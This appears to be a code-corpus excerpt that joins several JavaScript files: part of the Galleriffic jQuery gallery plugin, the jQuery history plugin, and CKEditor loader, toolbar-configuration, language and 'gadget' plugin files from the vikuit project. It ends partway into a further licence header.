// @param {Boolean} thumbExists Specifies whether the thumbnail already exists in the DOM or if it needs to be added.
// @param {Boolean} insert Specifies whether the the image is appended to the end or inserted into the gallery.
// @param {Integer} position The index within the gallery where the item shouold be added.
addImage: function(listItem, thumbExists, insert, position) {
var $li = ( typeof listItem === "string" ) ? $(listItem) : listItem;
var $aThumb = $li.find('a.thumb');
var slideUrl = $aThumb.attr('href');
var title = $aThumb.attr('title');
var $caption = $li.find('.caption').remove();
var hash = $aThumb.attr('name');
// Increment the image counter
imageCounter++;
// Autogenerate a hash value if none is present or if it is a duplicate
if (!hash || allImages[''+hash]) {
hash = imageCounter;
}
// Set position to end when not specified
if (!insert)
position = this.data.length;
var imageData = {
title:title,
slideUrl:slideUrl,
caption:$caption,
hash:hash,
gallery:this,
index:position
};
// Add the imageData to this gallery's array of images
if (insert) {
this.data.splice(position, 0, imageData);
// Reset index value on all imageData objects
this.updateIndices(position);
}
else {
this.data.push(imageData);
}
var gallery = this;
// Add the element to the DOM
if (!thumbExists) {
// Update thumbs passing in addition post transition out handler
this.updateThumbs(function() {
var $thumbsUl = gallery.find('ul.thumbs');
if (insert)
$thumbsUl.children(':eq('+position+')').before($li);
else
$thumbsUl.append($li);
if (gallery.onImageAdded)
gallery.onImageAdded(imageData, $li);
});
}
// Register the image globally
allImages[''+hash] = imageData;
// Setup attributes and click handler
$aThumb.attr('rel', 'history')
.attr('href', '#'+hash)
.removeAttr('name')
.click(function(e) {
gallery.clickHandler(e, this);
});
return this;
},
// Removes an image from the gallery based on its index.
// Returns false when the index is out of range.
removeImageByIndex: function(index) {
if (index < 0 || index >= this.data.length)
return false;
var imageData = this.data[index];
if (!imageData)
return false;
this.removeImage(imageData);
return true;
},
// Convenience method that simply calls the global removeImageByHash method.
removeImageByHash: function(hash) {
return $.galleriffic.removeImageByHash(hash, this);
},
// Removes an image from the gallery.
removeImage: function(imageData) {
var index = imageData.index;
// Remove the image from the gallery data array
this.data.splice(index, 1);
// Remove the global registration
delete allImages[''+imageData.hash];
// Remove the image's list item from the DOM
this.updateThumbs(function() {
var $li = gallery.find('ul.thumbs')
.children(':eq('+index+')')
.remove();
if (gallery.onImageRemoved)
gallery.onImageRemoved(imageData, $li);
});
// Update each image objects index value
this.updateIndices(index);
return this;
},
// Updates the index values of the each of the images in the gallery after the specified index
updateIndices: function(startIndex) {
for (i = startIndex; i < this.data.length; i++) {
this.data[i].index = i;
}
return this;
},
// Scraped the thumbnail container for thumbs and adds each to the gallery
initializeThumbs: function() {
this.data = [];
var gallery = this;
this.find('ul.thumbs > li').each(function(i) {
gallery.addImage($(this), true, false);
});
return this;
},
isPreloadComplete: false,
// Initalizes the image preloader
preloadInit: function() {
if (this.preloadAhead == 0) return this;
this.preloadStartIndex = this.currentImage.index;
var nextIndex = this.getNextIndex(this.preloadStartIndex);
return this.preloadRecursive(this.preloadStartIndex, nextIndex);
},
// Changes the location in the gallery the preloader should work
// @param {Integer} index The index of the image where the preloader should restart at.
preloadRelocate: function(index) {
// By changing this startIndex, the current preload script will restart
this.preloadStartIndex = index;
return this;
},
// Recursive function that performs the image preloading
// @param {Integer} startIndex The index of the first image the current preloader started on.
// @param {Integer} currentIndex The index of the current image to preload.
preloadRecursive: function(startIndex, currentIndex) {
// Check if startIndex has been relocated
if (startIndex != this.preloadStartIndex) {
var nextIndex = this.getNextIndex(this.preloadStartIndex);
return this.preloadRecursive(this.preloadStartIndex, nextIndex);
}
var gallery = this;
// Now check for preloadAhead count
var preloadCount = currentIndex - startIndex;
if (preloadCount < 0)
preloadCount = this.data.length-1-startIndex+currentIndex;
if (this.preloadAhead >= 0 && preloadCount > this.preloadAhead) {
// Do this in order to keep checking for relocated start index
setTimeout(function() { gallery.preloadRecursive(startIndex, currentIndex); }, 500);
return this;
}
var imageData = this.data[currentIndex];
if (!imageData)
return this;
// If already loaded, continue
if (imageData.image)
return this.preloadNext(startIndex, currentIndex);
// Preload the image
var image = new Image();
image.onload = function() {
imageData.image = this;
gallery.preloadNext(startIndex, currentIndex);
};
image.alt = imageData.title;
image.src = imageData.slideUrl;
return this;
},
// Called by preloadRecursive in order to preload the next image after the previous has loaded.
// @param {Integer} startIndex The index of the first image the current preloader started on.
// @param {Integer} currentIndex The index of the current image to preload.
preloadNext: function(startIndex, currentIndex) {
var nextIndex = this.getNextIndex(currentIndex);
if (nextIndex == startIndex) {
this.isPreloadComplete = true;
} else {
// Use setTimeout to free up thread
var gallery = this;
setTimeout(function() { gallery.preloadRecursive(startIndex, nextIndex); }, 100);
}
return this;
},
// Safe way to get the next image index relative to the current image.
// If the current image is the last, returns 0
getNextIndex: function(index) {
var nextIndex = index+1;
if (nextIndex >= this.data.length)
nextIndex = 0;
return nextIndex;
},
// Safe way to get the previous image index relative to the current image.
// If the current image is the first, return the index of the last image in the gallery.
getPrevIndex: function(index) {
var prevIndex = index-1;
if (prevIndex < 0)
prevIndex = this.data.length-1;
return prevIndex;
},
// Pauses the slideshow
pause: function() {
this.isSlideshowRunning = false;
if (this.slideshowTimeout) {
clearTimeout(this.slideshowTimeout);
this.slideshowTimeout = undefined;
}
if (this.$controlsContainer) {
this.$controlsContainer
.find('div.ss-controls a').removeClass().addClass('play')
.attr('title', this.playLinkText)
.attr('href', '#play')
.html(this.playLinkText);
}
return this;
},
// Plays the slideshow
play: function() {
this.isSlideshowRunning = true;
if (this.$controlsContainer) {
this.$controlsContainer
.find('div.ss-controls a').removeClass().addClass('pause')
.attr('title', this.pauseLinkText)
.attr('href', '#pause')
.html(this.pauseLinkText);
}
if (!this.slideshowTimeout) {
var gallery = this;
this.slideshowTimeout = setTimeout(function() { gallery.ssAdvance(); }, this.delay);
}
return this;
},
// Toggles the state of the slideshow (playing/paused)
toggleSlideshow: function() {
if (this.isSlideshowRunning)
this.pause();
else
this.play();
return this;
},
// Advances the slideshow to the next image and delegates navigation to the
// history plugin when history is enabled
// enableHistory is true
ssAdvance: function() {
if (this.isSlideshowRunning)
this.next(true);
return this;
},
// Advances the gallery to the next image.
// @param {Boolean} dontPause Specifies whether to pause the slideshow.
// @param {Boolean} bypassHistory Specifies whether to delegate navigation to the history plugin when history is enabled.
next: function(dontPause, bypassHistory) {
this.gotoIndex(this.getNextIndex(this.currentImage.index), dontPause, bypassHistory);
return this;
},
// Navigates to the previous image in the gallery.
// @param {Boolean} dontPause Specifies whether to pause the slideshow.
// @param {Boolean} bypassHistory Specifies whether to delegate navigation to the history plugin when history is enabled.
previous: function(dontPause, bypassHistory) {
this.gotoIndex(this.getPrevIndex(this.currentImage.index), dontPause, bypassHistory);
return this;
},
// Navigates to the next page in the gallery.
// @param {Boolean} dontPause Specifies whether to pause the slideshow.
// @param {Boolean} bypassHistory Specifies whether to delegate navigation to the history plugin when history is enabled.
nextPage: function(dontPause, bypassHistory) {
var page = this.getCurrentPage();
var lastPage = this.getNumPages() - 1;
if (page < lastPage) {
var startIndex = page * this.numThumbs;
var nextPage = startIndex + this.numThumbs;
this.gotoIndex(nextPage, dontPause, bypassHistory);
}
return this;
},
// Navigates to the previous page in the gallery.
// @param {Boolean} dontPause Specifies whether to pause the slideshow.
// @param {Boolean} bypassHistory Specifies whether to delegate navigation to the history plugin when history is enabled.
previousPage: function(dontPause, bypassHistory) {
var page = this.getCurrentPage();
if (page > 0) {
var startIndex = page * this.numThumbs;
var prevPage = startIndex - this.numThumbs;
this.gotoIndex(prevPage, dontPause, bypassHistory);
}
return this;
},
// Navigates to the image at the specified index in the gallery
// @param {Integer} index The index of the image in the gallery to display.
// @param {Boolean} dontPause Specifies whether to pause the slideshow.
// @param {Boolean} bypassHistory Specifies whether to delegate navigation to the history plugin when history is enabled.
gotoIndex: function(index, dontPause, bypassHistory) {
if (!dontPause)
this.pause();
if (index < 0) index = 0;
else if (index >= this.data.length) index = this.data.length-1;
var imageData = this.data[index];
if (!bypassHistory && this.enableHistory)
$.historyLoad(String(imageData.hash)); // At the moment, historyLoad only accepts string arguments
else
this.gotoImage(imageData);
return this;
},
// This function is garaunteed to be called anytime a gallery slide changes.
// @param {Object} imageData An object holding the image metadata of the image to navigate to.
gotoImage: function(imageData) {
var index = imageData.index;
if (this.onSlideChange)
this.onSlideChange(this.currentImage.index, index);
this.currentImage = imageData;
this.preloadRelocate(index);
this.refresh();
return this;
},
// Returns the default transition duration value. The value is halved when not
// performing a synchronized transition.
// @param {Boolean} isSync Specifies whether the transitions are synchronized.
getDefaultTransitionDuration: function(isSync) {
if (isSync)
return this.defaultTransitionDuration;
return this.defaultTransitionDuration / 2;
},
// Rebuilds the slideshow image and controls and performs transitions
refresh: function() {
var imageData = this.currentImage;
if (!imageData)
return this;
var index = imageData.index;
// Update Controls
if (this.$controlsContainer) {
this.$controlsContainer
.find('div.nav-controls a.prev').attr('href', '#'+this.data[this.getPrevIndex(index)].hash).end()
.find('div.nav-controls a.next').attr('href', '#'+this.data[this.getNextIndex(index)].hash);
}
var previousSlide = this.$imageContainer.find('span.current').addClass('previous').removeClass('current');
var previousCaption = 0;
if (this.$captionContainer) {
previousCaption = this.$captionContainer.find('span.current').addClass('previous').removeClass('current');
}
// Perform transitions simultaneously if syncTransitions is true and the next image is already preloaded
var isSync = this.syncTransitions && imageData.image;
// Flag we are transitioning
var isTransitioning = true;
var gallery = this;
var transitionOutCallback = function() {
// Flag that the transition has completed
isTransitioning = false;
// Remove the old slide
previousSlide.remove();
// Remove old caption
if (previousCaption)
previousCaption.remove();
if (!isSync) {
if (imageData.image && imageData.hash == gallery.data[gallery.currentImage.index].hash) {
gallery.buildImage(imageData, isSync);
} else {
// Show loading container
if (gallery.$loadingContainer) {
gallery.$loadingContainer.show();
}
}
}
};
if (previousSlide.length == 0) {
// For the first slide, the previous slide will be empty, so we will call the callback immediately
transitionOutCallback();
} else {
if (this.onTransitionOut) {
this.onTransitionOut(previousSlide, previousCaption, isSync, transitionOutCallback);
} else {
previousSlide.fadeTo(this.getDefaultTransitionDuration(isSync), 0.0, transitionOutCallback);
if (previousCaption)
previousCaption.fadeTo(this.getDefaultTransitionDuration(isSync), 0.0);
}
}
// Go ahead and begin transitioning in of next image
if (isSync)
this.buildImage(imageData, isSync);
if (!imageData.image) {
var image = new Image();
// Wire up mainImage onload event
image.onload = function() {
imageData.image = this;
// Only build image if the out transition has completed and we are still on the same image hash
if (!isTransitioning && imageData.hash == gallery.data[gallery.currentImage.index].hash) {
gallery.buildImage(imageData, isSync);
}
};
// set alt and src
image.alt = imageData.title;
image.src = imageData.slideUrl;
}
// This causes the preloader (if still running) to relocate out from the currentIndex
this.relocatePreload = true;
return this.syncThumbs();
},
// Called by the refresh method after the previous image has been transitioned out or at the same time
// as the out transition when performing a synchronous transition.
// @param {Object} imageData An object holding the image metadata of the image to build.
// @param {Boolean} isSync Specifies whether the transitions are synchronized.
buildImage: function(imageData, isSync) {
var gallery = this;
var nextIndex = this.getNextIndex(imageData.index);
// Construct new hidden span for the image
var newSlide = this.$imageContainer
.append('<span class="image-wrapper current"><a class="advance-link" rel="history" href="#'+this.data[nextIndex].hash+'" title="'+imageData.title+'"> </a></span>')
.find('span.current').css('opacity', '0');
newSlide.find('a')
.append(imageData.image)
.click(function(e) {
gallery.clickHandler(e, this);
});
var newCaption = 0;
if (this.$captionContainer) {
// Construct new hidden caption for the image
newCaption = this.$captionContainer
.append('<span class="image-caption current"></span>')
.find('span.current').css('opacity', '0')
.append(imageData.caption);
}
// Hide the loading conatiner
if (this.$loadingContainer) {
this.$loadingContainer.hide();
}
// Transition in the new image
if (this.onTransitionIn) {
this.onTransitionIn(newSlide, newCaption, isSync);
} else {
newSlide.fadeTo(this.getDefaultTransitionDuration(isSync), 1.0);
if (newCaption)
newCaption.fadeTo(this.getDefaultTransitionDuration(isSync), 1.0);
}
if (this.isSlideshowRunning) {
if (this.slideshowTimeout)
clearTimeout(this.slideshowTimeout);
this.slideshowTimeout = setTimeout(function() { gallery.ssAdvance(); }, this.delay);
}
return this;
},
// Returns the current page index that should be shown for the currentImage
getCurrentPage: function() {
return Math.floor(this.currentImage.index / this.numThumbs);
},
// Applies the selected class to the current image's corresponding thumbnail.
// Also checks if the current page has changed and updates the displayed page of thumbnails if necessary.
syncThumbs: function() {
var page = this.getCurrentPage();
if (page != this.displayedPage)
this.updateThumbs();
// Remove existing selected class and add selected class to new thumb
var $thumbs = this.find('ul.thumbs').children();
$thumbs.filter('.selected').removeClass('selected');
$thumbs.eq(this.currentImage.index).addClass('selected');
return this;
},
// Performs transitions on the thumbnails container and updates the set of
// thumbnails that are to be displayed and the navigation controls.
// @param {Delegate} postTransitionOutHandler An optional delegate that is called after
// the thumbnails container has transitioned out and before the thumbnails are rebuilt.
updateThumbs: function(postTransitionOutHandler) {
var gallery = this;
var transitionOutCallback = function() {
// Call the Post-transition Out Handler
if (postTransitionOutHandler)
postTransitionOutHandler();
gallery.rebuildThumbs();
// Transition In the thumbsContainer
if (gallery.onPageTransitionIn)
gallery.onPageTransitionIn();
else
gallery.show();
};
// Transition Out the thumbsContainer
if (this.onPageTransitionOut) {
this.onPageTransitionOut(transitionOutCallback);
} else {
this.hide();
transitionOutCallback();
}
return this;
},
// Updates the set of thumbnails that are to be displayed and the navigation controls.
rebuildThumbs: function() {
var needsPagination = this.data.length > this.numThumbs;
// Rebuild top pager
if (this.enableTopPager) {
var $topPager = this.find('div.top');
if ($topPager.length == 0)
$topPager = this.prepend('<div class="top pagination"></div>').find('div.top');
else
$topPager.empty();
if (needsPagination)
this.buildPager($topPager);
}
// Rebuild bottom pager
if (this.enableBottomPager) {
var $bottomPager = this.find('div.bottom');
if ($bottomPager.length == 0)
$bottomPager = this.append('<div class="bottom pagination"></div>').find('div.bottom');
else
$bottomPager.empty();
if (needsPagination)
this.buildPager($bottomPager);
}
var page = this.getCurrentPage();
var startIndex = page*this.numThumbs;
var stopIndex = startIndex+this.numThumbs-1;
if (stopIndex >= this.data.length)
stopIndex = this.data.length-1;
// Show/Hide thumbs
var $thumbsUl = this.find('ul.thumbs');
$thumbsUl.find('li').each(function(i) {
var $li = $(this);
if (i >= startIndex && i <= stopIndex) {
$li.show();
} else {
$li.hide();
}
});
this.displayedPage = page;
// Remove the noscript class from the thumbs container ul
$thumbsUl.removeClass('noscript');
return this;
},
// Returns the total number of pages required to display all the thumbnails.
getNumPages: function() {
return Math.ceil(this.data.length/this.numThumbs);
},
// Rebuilds the pager control in the specified matched element.
// @param {jQuery} pager A jQuery element set matching the particular pager to be rebuilt.
buildPager: function(pager) {
var gallery = this;
var numPages = this.getNumPages();
var page = this.getCurrentPage();
var startIndex = page * this.numThumbs;
var pagesRemaining = this.maxPagesToShow - 1;
var pageNum = page - Math.floor((this.maxPagesToShow - 1) / 2) + 1;
if (pageNum > 0) {
var remainingPageCount = numPages - pageNum;
if (remainingPageCount < pagesRemaining) {
pageNum = pageNum - (pagesRemaining - remainingPageCount);
}
}
if (pageNum < 0) {
pageNum = 0;
}
// Prev Page Link
if (page > 0) {
var prevPage = startIndex - this.numThumbs;
pager.append('<a rel="history" href="#'+this.data[prevPage].hash+'" title="'+this.prevPageLinkText+'">'+this.prevPageLinkText+'</a>');
}
// Create First Page link if needed
if (pageNum > 0) {
this.buildPageLink(pager, 0, numPages);
if (pageNum > 1)
pager.append('<span class="ellipsis">…</span>');
pagesRemaining--;
}
// Page Index Links
while (pagesRemaining > 0) {
this.buildPageLink(pager, pageNum, numPages);
pagesRemaining--;
pageNum++;
}
// Create Last Page link if needed
if (pageNum < numPages) {
var lastPageNum = numPages - 1;
if (pageNum < lastPageNum)
pager.append('<span class="ellipsis">…</span>');
this.buildPageLink(pager, lastPageNum, numPages);
}
// Next Page Link
var nextPage = startIndex + this.numThumbs;
if (nextPage < this.data.length) {
pager.append('<a rel="history" href="#'+this.data[nextPage].hash+'" title="'+this.nextPageLinkText+'">'+this.nextPageLinkText+'</a>');
}
pager.find('a').click(function(e) {
gallery.clickHandler(e, this);
});
return this;
},
// Builds a single page link within a pager. This function is called by buildPager
// @param {jQuery} pager A jQuery element set matching the particular pager to be rebuilt.
// @param {Integer} pageNum The page number of the page link to build.
// @param {Integer} numPages The total number of pages required to display all thumbnails.
buildPageLink: function(pager, pageNum, numPages) {
var pageLabel = pageNum + 1;
var currentPage = this.getCurrentPage();
if (pageNum == currentPage)
pager.append('<span class="current">'+pageLabel+'</span>');
else if (pageNum < numPages) {
var imageIndex = pageNum*this.numThumbs;
pager.append('<a rel="history" href="#'+this.data[imageIndex].hash+'" title="'+pageLabel+'">'+pageLabel+'</a>');
}
return this;
}
});
// Now initialize the gallery
$.extend(this, defaults, settings);
// Verify the history plugin is available
if (this.enableHistory && !$.historyInit)
this.enableHistory = false;
// Select containers
if (this.imageContainerSel) this.$imageContainer = $(this.imageContainerSel);
if (this.captionContainerSel) this.$captionContainer = $(this.captionContainerSel);
if (this.loadingContainerSel) this.$loadingContainer = $(this.loadingContainerSel);
// Initialize the thumbails
this.initializeThumbs();
if (this.maxPagesToShow < 3)
this.maxPagesToShow = 3;
this.displayedPage = -1;
this.currentImage = this.data[0];
var gallery = this;
// Hide the loadingContainer
if (this.$loadingContainer)
this.$loadingContainer.hide();
// Setup controls
if (this.controlsContainerSel) {
this.$controlsContainer = $(this.controlsContainerSel).empty();
if (this.renderSSControls) {
if (this.autoStart) {
this.$controlsContainer
.append('<div class="ss-controls"><a href="#pause" class="pause" title="'+this.pauseLinkText+'">'+this.pauseLinkText+'</a></div>');
} else {
this.$controlsContainer
.append('<div class="ss-controls"><a href="#play" class="play" title="'+this.playLinkText+'">'+this.playLinkText+'</a></div>');
}
this.$controlsContainer.find('div.ss-controls a')
.click(function(e) {
gallery.toggleSlideshow();
e.preventDefault();
return false;
});
}
if (this.renderNavControls) {
this.$controlsContainer
.append('<div class="nav-controls"><a class="prev" rel="history" title="'+this.prevLinkText+'">'+this.prevLinkText+'</a><a class="next" rel="history" title="'+this.nextLinkText+'">'+this.nextLinkText+'</a></div>')
.find('div.nav-controls a')
.click(function(e) {
gallery.clickHandler(e, this);
});
}
}
var initFirstImage = !this.enableHistory || !location.hash;
if (this.enableHistory && location.hash) {
var hash = $.galleriffic.normalizeHash(location.hash);
var imageData = allImages[hash];
if (!imageData)
initFirstImage = true;
}
// Setup gallery to show the first image
if (initFirstImage)
this.gotoIndex(0, false, true);
// Setup Keyboard Navigation
if (this.enableKeyboardNavigation) {
$(document).keydown(function(e) {
var key = e.charCode ? e.charCode : e.keyCode ? e.keyCode : 0;
switch(key) {
case 32: // space
gallery.next();
e.preventDefault();
break;
case 33: // Page Up
gallery.previousPage();
e.preventDefault();
break;
case 34: // Page Down
gallery.nextPage();
e.preventDefault();
break;
case 35: // End
gallery.gotoIndex(gallery.data.length-1);
e.preventDefault();
break;
case 36: // Home
gallery.gotoIndex(0);
e.preventDefault();
break;
case 37: // left arrow
gallery.previous();
e.preventDefault();
break;
case 39: // right arrow
gallery.next();
e.preventDefault();
break;
}
});
}
// Auto start the slideshow
if (this.autoStart)
this.play();
// Kickoff Image Preloader after 1 second
setTimeout(function() { gallery.preloadInit(); }, 1000);
return this;
};
})(jQuery);
| JavaScript |
/*
* jQuery history plugin
*
* sample page: http://www.mikage.to/jquery/jquery_history.html
*
* Copyright (c) 2006-2009 Taku Sano (Mikage Sawatari)
* Licensed under the MIT License:
* http://www.opensource.org/licenses/mit-license.php
*
* Modified by Lincoln Cooper to add Safari support and only call the callback once during initialization
* for msie when no initial hash supplied.
*/
jQuery.extend({
historyCurrentHash: undefined,
historyCallback: undefined,
historyIframeSrc: undefined,
historyInit: function(callback, src){
jQuery.historyCallback = callback;
if (src) jQuery.historyIframeSrc = src;
var current_hash = location.hash.replace(/\?.*$/, '');
jQuery.historyCurrentHash = current_hash;
// if ((jQuery.browser.msie) && (jQuery.browser.version < 8)) {
if (jQuery.browser.msie) {
// To stop the callback firing twice during initilization if no hash present
if (jQuery.historyCurrentHash == '') {
jQuery.historyCurrentHash = '#';
}
// add hidden iframe for IE
jQuery("body").prepend('<iframe id="jQuery_history" style="display: none;"'+
(jQuery.historyIframeSrc ? ' src="'+jQuery.historyIframeSrc+'"' : '')
+'></iframe>'
);
var ihistory = jQuery("#jQuery_history")[0];
var iframe = ihistory.contentWindow.document;
iframe.open();
iframe.close();
iframe.location.hash = current_hash;
}
else if (jQuery.browser.safari) {
// etablish back/forward stacks
jQuery.historyBackStack = [];
jQuery.historyBackStack.length = history.length;
jQuery.historyForwardStack = [];
jQuery.lastHistoryLength = history.length;
jQuery.isFirst = true;
}
if(current_hash)
jQuery.historyCallback(current_hash.replace(/^#/, ''));
setInterval(jQuery.historyCheck, 100);
},
historyAddHistory: function(hash) {
// This makes the looping function do something
jQuery.historyBackStack.push(hash);
jQuery.historyForwardStack.length = 0; // clear forwardStack (true click occured)
this.isFirst = true;
},
historyCheck: function(){
// if ((jQuery.browser.msie) && (jQuery.browser.version < 8)) {
if (jQuery.browser.msie) {
// On IE, check for location.hash of iframe
var ihistory = jQuery("#jQuery_history")[0];
var iframe = ihistory.contentDocument || ihistory.contentWindow.document;
var current_hash = iframe.location.hash.replace(/\?.*$/, '');
if(current_hash != jQuery.historyCurrentHash) {
location.hash = current_hash;
jQuery.historyCurrentHash = current_hash;
jQuery.historyCallback(current_hash.replace(/^#/, ''));
}
} else if (jQuery.browser.safari) {
if(jQuery.lastHistoryLength == history.length && jQuery.historyBackStack.length > jQuery.lastHistoryLength) {
jQuery.historyBackStack.shift();
}
if (!jQuery.dontCheck) {
var historyDelta = history.length - jQuery.historyBackStack.length;
jQuery.lastHistoryLength = history.length;
if (historyDelta) { // back or forward button has been pushed
jQuery.isFirst = false;
if (historyDelta < 0) { // back button has been pushed
// move items to forward stack
for (var i = 0; i < Math.abs(historyDelta); i++) jQuery.historyForwardStack.unshift(jQuery.historyBackStack.pop());
} else { // forward button has been pushed
// move items to back stack
for (var i = 0; i < historyDelta; i++) jQuery.historyBackStack.push(jQuery.historyForwardStack.shift());
}
var cachedHash = jQuery.historyBackStack[jQuery.historyBackStack.length - 1];
if (cachedHash != undefined) {
jQuery.historyCurrentHash = location.hash.replace(/\?.*$/, '');
jQuery.historyCallback(cachedHash);
}
} else if (jQuery.historyBackStack[jQuery.historyBackStack.length - 1] == undefined && !jQuery.isFirst) {
// back button has been pushed to beginning and URL already pointed to hash (e.g. a bookmark)
// document.URL doesn't change in Safari
if (location.hash) {
var current_hash = location.hash;
jQuery.historyCallback(location.hash.replace(/^#/, ''));
} else {
var current_hash = '';
jQuery.historyCallback('');
}
jQuery.isFirst = true;
}
}
} else {
// otherwise, check for location.hash
var current_hash = location.hash.replace(/\?.*$/, '');
if(current_hash != jQuery.historyCurrentHash) {
jQuery.historyCurrentHash = current_hash;
jQuery.historyCallback(current_hash.replace(/^#/, ''));
}
}
},
historyLoad: function(hash){
var newhash;
hash = decodeURIComponent(hash.replace(/\?.*$/, ''));
if (jQuery.browser.safari) {
newhash = hash;
}
else {
newhash = '#' + hash;
location.hash = newhash;
}
jQuery.historyCurrentHash = newhash;
// if ((jQuery.browser.msie) && (jQuery.browser.version < 8)) {
if (jQuery.browser.msie) {
var ihistory = jQuery("#jQuery_history")[0];
var iframe = ihistory.contentWindow.document;
iframe.open();
iframe.close();
iframe.location.hash = newhash;
jQuery.lastHistoryLength = history.length;
jQuery.historyCallback(hash);
}
else if (jQuery.browser.safari) {
jQuery.dontCheck = true;
// Manually keep track of the history values for Safari
this.historyAddHistory(hash);
// Wait a while before allowing checking so that Safari has time to update the "history" object
// correctly (otherwise the check loop would detect a false change in hash).
var fn = function() {jQuery.dontCheck = false;};
window.setTimeout(fn, 200);
jQuery.historyCallback(hash);
// N.B. "location.hash=" must be the last line of code for Safari as execution stops afterwards.
// By explicitly using the "location.hash" command (instead of using a variable set to "location.hash") the
// URL in the browser and the "history" object are both updated correctly.
location.hash = newhash;
}
else {
jQuery.historyCallback(hash);
}
}
});
| JavaScript |
/*
Copyright (c) 2003-2011, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.html or http://ckeditor.com/license
*/
// Compressed version of core/ckeditor_base.js. See original for instructions.
/*jsl:ignore*/
if(!window.CKEDITOR)window.CKEDITOR=(function(){var a={timestamp:'',version:'3.5.1',revision:'6398',_:{},status:'unloaded',basePath:(function(){var d=window.CKEDITOR_BASEPATH||'';if(!d){var e=document.getElementsByTagName('script');for(var f=0;f<e.length;f++){var g=e[f].src.match(/(^|.*[\\\/])ckeditor(?:_basic)?(?:_source)?.js(?:\?.*)?$/i);if(g){d=g[1];break;}}}if(d.indexOf(':/')==-1)if(d.indexOf('/')===0)d=location.href.match(/^.*?:\/\/[^\/]*/)[0]+d;else d=location.href.match(/^[^\?]*\/(?:)/)[0]+d;return d;})(),getUrl:function(d){if(d.indexOf(':/')==-1&&d.indexOf('/')!==0)d=this.basePath+d;if(this.timestamp&&d.charAt(d.length-1)!='/')d+=(d.indexOf('?')>=0?'&':'?')+('t=')+this.timestamp;return d;}},b=window.CKEDITOR_GETURL;if(b){var c=a.getUrl;a.getUrl=function(d){return b.call(a,d)||c.call(a,d);};}return a;})();
/*jsl:end*/
// Uncomment the following line to have a new timestamp generated for each
// request, having clear cache load of the editor code.
// CKEDITOR.timestamp = ( new Date() ).valueOf();
if ( CKEDITOR.loader )
CKEDITOR.loader.load( 'core/ckeditor' );
else
{
// Set the script name to be loaded by the loader.
CKEDITOR._autoLoad = 'core/ckeditor';
// Include the loader script.
document.write(
'<script type="text/javascript" src="' + CKEDITOR.getUrl( '_source/core/loader.js' ) + '"></script>' );
}
| JavaScript |
/*
(C) Copyright 2011 Jose Carrasco <jose.carrasco at vikuit dot com>
(C) Copyright 2011 Jose Blanco <jose.blanco at vikuit dot com>
This file is part of "vikuit".
"vikuit" is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
"vikuit" is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with "vikuit". If not, see <http://www.gnu.org/licenses/>.
*/
CKEDITOR.editorConfig = function( config )
{
config.extraPlugins = 'gadget';
config.toolbar_Full =
[
['Source','-','Save','NewPage','Preview','-','Templates'],
['Cut','Copy','Paste','PasteText','PasteFromWord','-','Print', 'SpellChecker', 'Scayt'],
['Undo','Redo','-','Find','Replace','-','SelectAll','RemoveFormat'],
['Form', 'Checkbox', 'Radio', 'TextField', 'Textarea', 'Select', 'Button', 'ImageButton', 'HiddenField'],
'/',
['Bold','Italic','Underline','Strike','-','Subscript','Superscript'],
['NumberedList','BulletedList','-','Outdent','Indent','Blockquote','CreateDiv'],
['JustifyLeft','JustifyCenter','JustifyRight','JustifyBlock'],
['BidiLtr', 'BidiRtl'],
['Link','Unlink','Anchor'],
['Image','Flash','Table','HorizontalRule','Smiley','SpecialChar','PageBreak','Iframe'],
'/',
['Styles','Format','Font','FontSize'],
['TextColor','BGColor'],
['Maximize', 'ShowBlocks','-','About']
];
config.toolbar_Article =
[
['Styles','Undo','Redo','-','Find','Replace'],
['Bold','Italic','Underline','StrikeThrough'],
['OrderedList','UnorderedList','-','Outdent','Indent'],
['NumberedList','BulletedList','-','Outdent','Indent','Blockquote','CreateDiv'],
['JustifyLeft','JustifyCenter','JustifyRight','JustifyFull'],
['Link','Unlink'],
['Gadget', 'Image','Flash','SpecialChar']
];
config.toolbar_Basic =
[
['Bold', 'Italic', '-', 'NumberedList', 'BulletedList', '-', 'Link', 'Unlink']
];
};
| JavaScript |
/*
Copyright (c) 2003-2011, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.html or http://ckeditor.com/license
*/
CKEDITOR.plugins.setLang('placeholder','en',{placeholder:{title:'Placeholder Properties',toolbar:'Create Placeholder',text:'Placeholder Text',edit:'Edit Placeholder',textMissing:'The placeholder must contain text.'}});
| JavaScript |
/*
Copyright (c) 2003-2011, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.html or http://ckeditor.com/license
*/
CKEDITOR.plugins.setLang('uicolor','en',{uicolor:{title:'UI Color Picker',preview:'Live preview',config:'Paste this string into your config.js file',predefined:'Predefined color sets'}});
| JavaScript |
/*
Copyright (c) 2003-2011, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.html or http://ckeditor.com/license
*/
CKEDITOR.plugins.setLang('uicolor','he',{uicolor:{title:'בחירת צבע ממשק משתמש',preview:'תצוגה מקדימה',config:'הדבק את הטקסט הבא לתוך הקובץ config.js',predefined:'קבוצות צבעים מוגדרות מראש'}});
| JavaScript |
/*
(C) Copyright 2011 Jose Carrasco <jose.carrasco at vikuit dot com>
This file is part of "vikuit".
"vikuit" is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
"vikuit" is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with "vikuit". If not, see <http://www.gnu.org/licenses/>.
*/
// Register the related command.
CKEDITOR.plugins.add('gadget',
{
init: function(editor)
{
var pluginName = 'gadget';
CKEDITOR.dialog.add(pluginName, this.path + 'dialogs/gadget.js');
editor.addCommand(pluginName, new CKEDITOR.dialogCommand(pluginName));
editor.ui.addButton('Gadget',
{
label: 'Google Gadget',
command: pluginName,
icon: CKEDITOR.plugins.getPath(pluginName ) + 'images/gadget.png'
});
}
});
| JavaScript |
/*
(C) Copyright 2011 Jose Carrasco <jose.carrasco at vikuit dot com>
